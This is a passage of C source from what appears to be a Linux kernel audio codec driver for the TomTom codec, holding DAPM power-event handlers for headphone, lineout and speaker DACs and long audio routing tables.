case SND_SOC_DAPM_POST_PMU:
if ((snd_soc_read(codec, TOMTOM_A_RX_HPH_L_DAC_CTL) & 0x80) &&
(snd_soc_read(codec, TOMTOM_A_RX_HPH_R_DAC_CTL)
& 0x80)) {
snd_soc_update_bits(codec,
TOMTOM_A_RX_HPH_CNP_EN, 0x30, 0x30);
msleep(30);
}
ret = tomtom_hph_pa_event(w, kcontrol, event);
break;
case SND_SOC_DAPM_PRE_PMD:
if (w->shift == 5) {
snd_soc_update_bits(codec,
TOMTOM_A_RX_HPH_CNP_EN, 0x30, 0x00);
msleep(40);
snd_soc_update_bits(codec,
TOMTOM_A_TX_7_MBHC_EN, 0x80, 00);
ret |= tomtom_codec_enable_anc(w, kcontrol, event);
}
break;
case SND_SOC_DAPM_POST_PMD:
ret = tomtom_hph_pa_event(w, kcontrol, event);
break;
}
return ret;
}
static const struct snd_soc_dapm_widget tomtom_dapm_i2s_widgets[] = {
SND_SOC_DAPM_SUPPLY("RX_I2S_CLK", TOMTOM_A_CDC_CLK_RX_I2S_CTL,
4, 0, NULL, 0),
SND_SOC_DAPM_SUPPLY("TX_I2S_CLK", TOMTOM_A_CDC_CLK_TX_I2S_CTL, 4,
0, NULL, 0),
};
static int tomtom_lineout_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
pr_debug("%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_clsh_fsm(codec, &tomtom->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
snd_soc_update_bits(codec, w->reg, 0x40, 0x40);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, w->reg, 0x40, 0x00);
wcd9xxx_clsh_fsm(codec, &tomtom->clsh_d,
WCD9XXX_CLSH_STATE_LO,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
break;
}
return 0;
}
static int tomtom_spk_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
pr_debug("%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, WCD9XXX_A_CDC_CLK_OTHR_CTL,
0x80, 0x80);
break;
case SND_SOC_DAPM_POST_PMD:
if ((snd_soc_read(codec, w->reg) & 0x03) == 0)
snd_soc_update_bits(codec, WCD9XXX_A_CDC_CLK_OTHR_CTL,
0x80, 0x00);
break;
}
return 0;
}
static const struct snd_soc_dapm_route audio_i2s_map[] = {
{"SLIM RX1", NULL, "RX_I2S_CLK"},
{"SLIM RX2", NULL, "RX_I2S_CLK"},
{"SLIM RX3", NULL, "RX_I2S_CLK"},
{"SLIM RX4", NULL, "RX_I2S_CLK"},
{"SLIM TX7 MUX", NULL, "TX_I2S_CLK"},
{"SLIM TX8 MUX", NULL, "TX_I2S_CLK"},
{"SLIM TX9 MUX", NULL, "TX_I2S_CLK"},
{"SLIM TX10 MUX", NULL, "TX_I2S_CLK"},
{"RX_I2S_CLK", NULL, "CDC_I2S_RX_CONN"},
};
static const struct snd_soc_dapm_route audio_map[] = {
/* SLIMBUS Connections */
{"AIF1 CAP", NULL, "AIF1_CAP Mixer"},
{"AIF2 CAP", NULL, "AIF2_CAP Mixer"},
{"AIF3 CAP", NULL, "AIF3_CAP Mixer"},
/* VI Feedback */
{"AIF4_VI Mixer", "SPKR_VI_1", "VIINPUT"},
{"AIF4_VI Mixer", "SPKR_VI_2", "VIINPUT"},
{"AIF4 VI", NULL, "AIF4_VI Mixer"},
/* MAD */
{"MAD_SEL MUX", "SPE", "MAD_CPE_INPUT"},
{"MAD_SEL MUX", "MSM", "MADINPUT"},
{"MADONOFF", "Switch", "MAD_SEL MUX"},
{"AIF4 MAD", NULL, "MADONOFF"},
/* SLIM_MIXER("AIF1_CAP Mixer"),*/
{"AIF1_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF1_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF1_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF1_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF1_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
{"AIF1_CAP Mixer", "SLIM TX6", "SLIM TX6 MUX"},
{"AIF1_CAP Mixer", "SLIM TX7", "SLIM TX7 MUX"},
{"AIF1_CAP Mixer", "SLIM TX8", "SLIM TX8 MUX"},
{"AIF1_CAP Mixer", "SLIM TX9", "SLIM TX9 MUX"},
{"AIF1_CAP Mixer", "SLIM TX10", "SLIM TX10 MUX"},
/* SLIM_MIXER("AIF2_CAP Mixer"),*/
{"AIF2_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF2_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF2_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF2_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF2_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
{"AIF2_CAP Mixer", "SLIM TX6", "SLIM TX6 MUX"},
{"AIF2_CAP Mixer", "SLIM TX7", "SLIM TX7 MUX"},
{"AIF2_CAP Mixer", "SLIM TX8", "SLIM TX8 MUX"},
{"AIF2_CAP Mixer", "SLIM TX9", "SLIM TX9 MUX"},
{"AIF2_CAP Mixer", "SLIM TX10", "SLIM TX10 MUX"},
/* SLIM_MIXER("AIF3_CAP Mixer"),*/
{"AIF3_CAP Mixer", "SLIM TX1", "SLIM TX1 MUX"},
{"AIF3_CAP Mixer", "SLIM TX2", "SLIM TX2 MUX"},
{"AIF3_CAP Mixer", "SLIM TX3", "SLIM TX3 MUX"},
{"AIF3_CAP Mixer", "SLIM TX4", "SLIM TX4 MUX"},
{"AIF3_CAP Mixer", "SLIM TX5", "SLIM TX5 MUX"},
{"AIF3_CAP Mixer", "SLIM TX6", "SLIM TX6 MUX"},
{"AIF3_CAP Mixer", "SLIM TX7", "SLIM TX7 MUX"},
{"AIF3_CAP Mixer", "SLIM TX8", "SLIM TX8 MUX"},
{"AIF3_CAP Mixer", "SLIM TX9", "SLIM TX9 MUX"},
{"AIF3_CAP Mixer", "SLIM TX10", "SLIM TX10 MUX"},
{"SLIM TX1 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX1 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX1 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX1 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX1 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX1 MUX", "RMIX5", "RX5 MIX1"},
{"SLIM TX1 MUX", "RMIX6", "RX6 MIX1"},
{"SLIM TX1 MUX", "RMIX7", "RX7 MIX1"},
{"SLIM TX1 MUX", "RMIX8", "RX8 MIX1"},
{"SLIM TX2 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX2 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX2 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX2 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX2 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX2 MUX", "RMIX5", "RX5 MIX1"},
{"SLIM TX2 MUX", "RMIX6", "RX6 MIX1"},
{"SLIM TX2 MUX", "RMIX7", "RX7 MIX1"},
{"SLIM TX2 MUX", "RMIX8", "RX8 MIX1"},
{"SLIM TX3 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX3 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX3 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX3 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX3 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX3 MUX", "RMIX5", "RX5 MIX1"},
{"SLIM TX3 MUX", "RMIX6", "RX6 MIX1"},
{"SLIM TX3 MUX", "RMIX7", "RX7 MIX1"},
{"SLIM TX3 MUX", "RMIX8", "RX8 MIX1"},
{"SLIM TX4 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX4 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX4 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX4 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX4 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX4 MUX", "RMIX5", "RX5 MIX1"},
{"SLIM TX4 MUX", "RMIX6", "RX6 MIX1"},
{"SLIM TX4 MUX", "RMIX7", "RX7 MIX1"},
{"SLIM TX4 MUX", "RMIX8", "RX8 MIX1"},
{"SLIM TX5 MUX", "DEC5", "DEC5 MUX"},
{"SLIM TX5 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX5 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX5 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX5 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX5 MUX", "RMIX5", "RX5 MIX1"},
{"SLIM TX5 MUX", "RMIX6", "RX6 MIX1"},
{"SLIM TX5 MUX", "RMIX7", "RX7 MIX1"},
{"SLIM TX5 MUX", "RMIX8", "RX8 MIX1"},
{"SLIM TX6 MUX", "DEC6", "DEC6 MUX"},
{"SLIM TX7 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX7 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX7 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX7 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX7 MUX", "DEC5", "DEC5 MUX"},
{"SLIM TX7 MUX", "DEC6", "DEC6 MUX"},
{"SLIM TX7 MUX", "DEC7", "DEC7 MUX"},
{"SLIM TX7 MUX", "DEC8", "DEC8 MUX"},
{"SLIM TX7 MUX", "DEC9", "DEC9 MUX"},
{"SLIM TX7 MUX", "DEC10", "DEC10 MUX"},
{"SLIM TX7 MUX", "RMIX1", "RX1 MIX1"},
{"SLIM TX7 MUX", "RMIX2", "RX2 MIX1"},
{"SLIM TX7 MUX", "RMIX3", "RX3 MIX1"},
{"SLIM TX7 MUX", "RMIX4", "RX4 MIX1"},
{"SLIM TX7 MUX", "RMIX5", "RX5 MIX1"},
{"SLIM TX7 MUX", "RMIX6", "RX6 MIX1"},
{"SLIM TX7 MUX", "RMIX7", "RX7 MIX1"},
{"SLIM TX8 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX8 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX8 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX8 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX8 MUX", "DEC5", "DEC5 MUX"},
{"SLIM TX8 MUX", "DEC6", "DEC6 MUX"},
{"SLIM TX8 MUX", "DEC7", "DEC7 MUX"},
{"SLIM TX8 MUX", "DEC8", "DEC8 MUX"},
{"SLIM TX8 MUX", "DEC9", "DEC9 MUX"},
{"SLIM TX8 MUX", "DEC10", "DEC10 MUX"},
{"SLIM TX9 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX9 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX9 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX9 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX9 MUX", "DEC5", "DEC5 MUX"},
{"SLIM TX9 MUX", "DEC6", "DEC6 MUX"},
{"SLIM TX9 MUX", "DEC7", "DEC7 MUX"},
{"SLIM TX9 MUX", "DEC8", "DEC8 MUX"},
{"SLIM TX9 MUX", "DEC9", "DEC9 MUX"},
{"SLIM TX9 MUX", "DEC10", "DEC10 MUX"},
{"SLIM TX10 MUX", "DEC1", "DEC1 MUX"},
{"SLIM TX10 MUX", "DEC2", "DEC2 MUX"},
{"SLIM TX10 MUX", "DEC3", "DEC3 MUX"},
{"SLIM TX10 MUX", "DEC4", "DEC4 MUX"},
{"SLIM TX10 MUX", "DEC5", "DEC5 MUX"},
{"SLIM TX10 MUX", "DEC6", "DEC6 MUX"},
{"SLIM TX10 MUX", "DEC7", "DEC7 MUX"},
{"SLIM TX10 MUX", "DEC8", "DEC8 MUX"},
{"SLIM TX10 MUX", "DEC9", "DEC9 MUX"},
{"SLIM TX10 MUX", "DEC10", "DEC10 MUX"},
/* Earpiece (RX MIX1) */
{"EAR", NULL, "EAR PA"},
{"EAR PA", NULL, "EAR_PA_MIXER"},
{"EAR_PA_MIXER", NULL, "DAC1"},
{"DAC1", NULL, "RX_BIAS"},
{"ANC EAR", NULL, "ANC EAR PA"},
{"ANC EAR PA", NULL, "EAR_PA_MIXER"},
{"ANC1 FB MUX", "EAR_HPH_L", "RX1 MIX2"},
{"ANC1 FB MUX", "EAR_LINE_1", "RX2 MIX2"},
/* Headset (RX MIX1 and RX MIX2) */
{"HEADPHONE", NULL, "HPHL"},
{"HEADPHONE", NULL, "HPHR"},
{"HPHL", NULL, "HPHL_PA_MIXER"},
{"HPHL_PA_MIXER", NULL, "HPHL DAC"},
{"HPHL DAC", NULL, "RX_BIAS"},
{"HPHR", NULL, "HPHR_PA_MIXER"},
{"HPHR_PA_MIXER", NULL, "HPHR DAC"},
{"HPHR DAC", NULL, "RX_BIAS"},
{"ANC HEADPHONE", NULL, "ANC HPHL"},
{"ANC HEADPHONE", NULL, "ANC HPHR"},
{"ANC HPHL", NULL, "HPHL_PA_MIXER"},
{"ANC HPHR", NULL, "HPHR_PA_MIXER"},
{"ANC1 MUX", "ADC1", "ADC1"},
{"ANC1 MUX", "ADC2", "ADC2"},
{"ANC1 MUX", "ADC3", "ADC3"},
{"ANC1 MUX", "ADC4", "ADC4"},
{"ANC1 MUX", "ADC5", "ADC5"},
{"ANC1 MUX", "ADC6", "ADC6"},
{"ANC1 MUX", "DMIC1", "DMIC1"},
{"ANC1 MUX", "DMIC2", "DMIC2"},
{"ANC1 MUX", "DMIC3", "DMIC3"},
{"ANC1 MUX", "DMIC4", "DMIC4"},
{"ANC1 MUX", "DMIC5", "DMIC5"},
{"ANC1 MUX", "DMIC6", "DMIC6"},
{"ANC2 MUX", "ADC1", "ADC1"},
{"ANC2 MUX", "ADC2", "ADC2"},
{"ANC2 MUX", "ADC3", "ADC3"},
{"ANC2 MUX", "ADC4", "ADC4"},
{"ANC2 MUX", "ADC5", "ADC5"},
{"ANC2 MUX", "ADC6", "ADC6"},
{"ANC2 MUX", "DMIC1", "DMIC1"},
{"ANC2 MUX", "DMIC2", "DMIC2"},
{"ANC2 MUX", "DMIC3", "DMIC3"},
{"ANC2 MUX", "DMIC4", "DMIC4"},
{"ANC2 MUX", "DMIC5", "DMIC5"},
{"ANC2 MUX", "DMIC6", "DMIC6"},
{"ANC HPHR", NULL, "CDC_CONN"},
{"DAC1", "Switch", "CLASS_H_DSM MUX"},
{"HPHL DAC", "Switch", "CLASS_H_DSM MUX"},
{"HPHR DAC", NULL, "RX2 CHAIN"},
{"LINEOUT1", NULL, "LINEOUT1 PA"},
{"LINEOUT2", NULL, "LINEOUT2 PA"},
{"LINEOUT3", NULL, "LINEOUT3 PA"},
{"LINEOUT4", NULL, "LINEOUT4 PA"},
{"SPK_OUT", NULL, "SPK PA"},
{"SPK_OUT", NULL, "SPK2 PA"},
{"LINEOUT1 PA", NULL, "LINEOUT1_PA_MIXER"},
{"LINEOUT1_PA_MIXER", NULL, "LINEOUT1 DAC"},
{"LINEOUT2 PA", NULL, "LINEOUT2_PA_MIXER"},
{"LINEOUT2_PA_MIXER", NULL, "LINEOUT2 DAC"},
{"LINEOUT3 PA", NULL, "LINEOUT3_PA_MIXER"},
{"LINEOUT3_PA_MIXER", NULL, "LINEOUT3 DAC"},
{"LINEOUT4 PA", NULL, "LINEOUT4_PA_MIXER"},
{"LINEOUT4_PA_MIXER", NULL, "LINEOUT4 DAC"},
{"LINEOUT1 DAC", NULL, "RX3 MIX1"},
{"RDAC5 MUX", "DEM3_INV", "RX3 MIX1"},
{"RDAC5 MUX", "DEM4", "RX4 MIX1"},
{"LINEOUT3 DAC", NULL, "RDAC5 MUX"},
{"LINEOUT2 DAC", NULL, "RX5 MIX1"},
{"RDAC7 MUX", "DEM5_INV", "RX5 MIX1"},
{"RDAC7 MUX", "DEM6", "RX6 MIX1"},
{"LINEOUT4 DAC", NULL, "RDAC7 MUX"},
{"SPK PA", NULL, "SPK DAC"},
{"SPK DAC", NULL, "RX7 MIX2"},
{"SPK DAC", NULL, "VDD_SPKDRV"},
{"SPK2 PA", NULL, "SPK2 DAC"},
{"SPK2 DAC", NULL, "RX8 MIX1"},
{"SPK2 DAC", NULL, "VDD_SPKDRV2"},
{"CLASS_H_DSM MUX", "DSM_HPHL_RX1", "RX1 CHAIN"},
{"RX1 INTERP", NULL, "RX1 MIX2"},
{"RX1 CHAIN", NULL, "RX1 INTERP"},
{"RX2 INTERP", NULL, "RX2 MIX2"},
{"RX2 CHAIN", NULL, "RX2 INTERP"},
{"RX1 MIX2", NULL, "ANC1 MUX"},
{"RX2 MIX2", NULL, "ANC2 MUX"},
{"LINEOUT1 DAC", NULL, "RX_BIAS"},
{"LINEOUT2 DAC", NULL, "RX_BIAS"},
{"LINEOUT3 DAC", NULL, "RX_BIAS"},
{"LINEOUT4 DAC", NULL, "RX_BIAS"},
{"SPK DAC", NULL, "RX_BIAS"},
{"SPK2 DAC", NULL, "RX_BIAS"},
{"RX7 MIX1", NULL, "COMP0_CLK"},
{"RX8 MIX1", NULL, "COMP0_CLK"},
{"RX1 MIX1", NULL, "COMP1_CLK"},
{"RX2 MIX1", NULL, "COMP1_CLK"},
{"RX3 MIX1", NULL, "COMP2_CLK"},
{"RX5 MIX1", NULL, "COMP2_CLK"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP1"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP2"},
{"RX1 MIX1", NULL, "RX1 MIX1 INP3"},
{"RX2 MIX1", NULL, "RX2 MIX1 INP1"},
{"RX2 MIX1", NULL, "RX2 MIX1 INP2"},
{"RX3 MIX1", NULL, "RX3 MIX1 INP1"},
{"RX3 MIX1", NULL, "RX3 MIX1 INP2"},
{"RX4 MIX1", NULL, "RX4 MIX1 INP1"},
{"RX4 MIX1", NULL, "RX4 MIX1 INP2"},
{"RX5 MIX1", NULL, "RX5 MIX1 INP1"},
{"RX5 MIX1", NULL, "RX5 MIX1 INP2"},
{"RX6 MIX1", NULL, "RX6 MIX1 INP1"},
{"RX6 MIX1", NULL, "RX6 MIX1 INP2"},
{"RX7 MIX1", NULL, "RX7 MIX1 INP1"},
{"RX7 MIX1", NULL, "RX7 MIX1 INP2"},
{"RX8 MIX1", NULL, "RX8 MIX1 INP1"},
{"RX8 MIX1", NULL, "RX8 MIX1 INP2"},
{"RX1 MIX2", NULL, "RX1 MIX1"},
{"RX1 MIX2", NULL, "RX1 MIX2 INP1"},
{"RX1 MIX2", NULL, "RX1 MIX2 INP2"},
{"RX2 MIX2", NULL, "RX2 MIX1"},
{"RX2 MIX2", NULL, "RX2 MIX2 INP1"},
{"RX2 MIX2", NULL, "RX2 MIX2 INP2"},
{"RX7 MIX2", NULL, "RX7 MIX1"},
{"RX7 MIX2", NULL, "RX7 MIX2 INP1"},
{"RX7 MIX2", NULL, "RX7 MIX2 INP2"},
/* SLIM_MUX("AIF1_PB", "AIF1 PB"),*/
{"SLIM RX1 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX2 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX3 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX4 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX5 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX6 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX7 MUX", "AIF1_PB", "AIF1 PB"},
{"SLIM RX8 MUX", "AIF1_PB", "AIF1 PB"},
/* SLIM_MUX("AIF2_PB", "AIF2 PB"),*/
{"SLIM RX1 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX2 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX3 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX4 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX5 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX6 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX7 MUX", "AIF2_PB", "AIF2 PB"},
{"SLIM RX8 MUX", "AIF2_PB", "AIF2 PB"},
/* SLIM_MUX("AIF3_PB", "AIF3 PB"),*/
{"SLIM RX1 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX2 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX3 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX4 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX5 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX6 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX7 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX8 MUX", "AIF3_PB", "AIF3 PB"},
{"SLIM RX1", NULL, "SLIM RX1 MUX"},
{"SLIM RX2", NULL, "SLIM RX2 MUX"},
{"SLIM RX3", NULL, "SLIM RX3 MUX"},
{"SLIM RX4", NULL, "SLIM RX4 MUX"},
{"SLIM RX5", NULL, "SLIM RX5 MUX"},
{"SLIM RX6", NULL, "SLIM RX6 MUX"},
{"SLIM RX7", NULL, "SLIM RX7 MUX"},
{"SLIM RX8", NULL, "SLIM RX8 MUX"},
{"RX1 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX1 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX1 MIX1 INP1", "RX6", "SLIM RX6"},
{"RX1 MIX1 INP1", "RX7", "SLIM RX7"},
{"RX1 MIX1 INP1", "IIR1", "IIR1"},
{"RX1 MIX1 INP1", "IIR2", "IIR2"},
{"RX1 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX1 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX1 MIX1 INP2", "RX6", "SLIM RX6"},
{"RX1 MIX1 INP2", "RX7", "SLIM RX7"},
{"RX1 MIX1 INP2", "IIR1", "IIR1"},
{"RX1 MIX1 INP2", "IIR2", "IIR2"},
{"RX1 MIX1 INP3", "RX1", "SLIM RX1"},
{"RX1 MIX1 INP3", "RX2", "SLIM RX2"},
{"RX1 MIX1 INP3", "RX3", "SLIM RX3"},
{"RX1 MIX1 INP3", "RX4", "SLIM RX4"},
{"RX1 MIX1 INP3", "RX5", "SLIM RX5"},
{"RX1 MIX1 INP3", "RX6", "SLIM RX6"},
{"RX1 MIX1 INP3", "RX7", "SLIM RX7"},
{"RX2 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX2 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX2 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX2 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX2 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX2 MIX1 INP1", "RX6", "SLIM RX6"},
{"RX2 MIX1 INP1", "RX7", "SLIM RX7"},
{"RX2 MIX1 INP1", "IIR1", "IIR1"},
{"RX2 MIX1 INP1", "IIR2", "IIR2"},
{"RX2 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX2 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX2 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX2 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX2 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX2 MIX1 INP2", "RX6", "SLIM RX6"},
{"RX2 MIX1 INP2", "RX7", "SLIM RX7"},
{"RX2 MIX1 INP2", "IIR1", "IIR1"},
{"RX2 MIX1 INP2", "IIR2", "IIR2"},
{"RX3 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX3 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX3 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX3 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX3 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX3 MIX1 INP1", "RX6", "SLIM RX6"},
{"RX3 MIX1 INP1", "RX7", "SLIM RX7"},
{"RX3 MIX1 INP1", "IIR1", "IIR1"},
{"RX3 MIX1 INP1", "IIR2", "IIR2"},
{"RX3 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX3 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX3 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX3 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX3 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX3 MIX1 INP2", "RX6", "SLIM RX6"},
{"RX3 MIX1 INP2", "RX7", "SLIM RX7"},
{"RX3 MIX1 INP2", "IIR1", "IIR1"},
{"RX3 MIX1 INP2", "IIR2", "IIR2"},
{"RX4 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX4 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX4 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX4 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX4 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX4 MIX1 INP1", "RX6", "SLIM RX6"},
{"RX4 MIX1 INP1", "RX7", "SLIM RX7"},
{"RX4 MIX1 INP1", "IIR1", "IIR1"},
{"RX4 MIX1 INP1", "IIR2", "IIR2"},
{"RX4 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX4 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX4 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX4 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX4 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX4 MIX1 INP2", "RX6", "SLIM RX6"},
{"RX4 MIX1 INP2", "RX7", "SLIM RX7"},
{"RX4 MIX1 INP2", "IIR1", "IIR1"},
{"RX4 MIX1 INP2", "IIR2", "IIR2"},
{"RX5 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX5 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX5 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX5 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX5 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX5 MIX1 INP1", "RX6", "SLIM RX6"},
{"RX5 MIX1 INP1", "RX7", "SLIM RX7"},
{"RX5 MIX1 INP1", "IIR1", "IIR1"},
{"RX5 MIX1 INP1", "IIR2", "IIR2"},
{"RX5 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX5 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX5 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX5 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX5 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX5 MIX1 INP2", "RX6", "SLIM RX6"},
{"RX5 MIX1 INP2", "RX7", "SLIM RX7"},
{"RX5 MIX1 INP2", "IIR1", "IIR1"},
{"RX5 MIX1 INP2", "IIR2", "IIR2"},
{"RX6 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX6 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX6 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX6 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX6 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX6 MIX1 INP1", "RX6", "SLIM RX6"},
{"RX6 MIX1 INP1", "RX7", "SLIM RX7"},
{"RX6 MIX1 INP1", "IIR1", "IIR1"},
{"RX6 MIX1 INP1", "IIR2", "IIR2"},
{"RX6 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX6 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX6 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX6 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX6 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX6 MIX1 INP2", "RX6", "SLIM RX6"},
{"RX6 MIX1 INP2", "RX7", "SLIM RX7"},
{"RX6 MIX1 INP2", "IIR1", "IIR1"},
{"RX6 MIX1 INP2", "IIR2", "IIR2"},
{"RX7 MIX1 INP1", "RX1", "SLIM RX1"},
{"RX7 MIX1 INP1", "RX2", "SLIM RX2"},
{"RX7 MIX1 INP1", "RX3", "SLIM RX3"},
{"RX7 MIX1 INP1", "RX4", "SLIM RX4"},
{"RX7 MIX1 INP1", "RX5", "SLIM RX5"},
{"RX7 MIX1 INP1", "RX6", "SLIM RX6"},
{"RX7 MIX1 INP1", "RX7", "SLIM RX7"},
{"RX7 MIX1 INP1", "IIR1", "IIR1"},
{"RX7 MIX1 INP1", "IIR2", "IIR2"},
{"RX7 MIX1 INP2", "RX1", "SLIM RX1"},
{"RX7 MIX1 INP2", "RX2", "SLIM RX2"},
{"RX7 MIX1 INP2", "RX3", "SLIM RX3"},
{"RX7 MIX1 INP2", "RX4", "SLIM RX4"},
{"RX7 MIX1 INP2", "RX5", "SLIM RX5"},
{"RX7 MIX1 INP2", "RX6", "SLIM RX6"},
{"RX7 MIX1 INP2", "RX7", "SLIM RX7"},
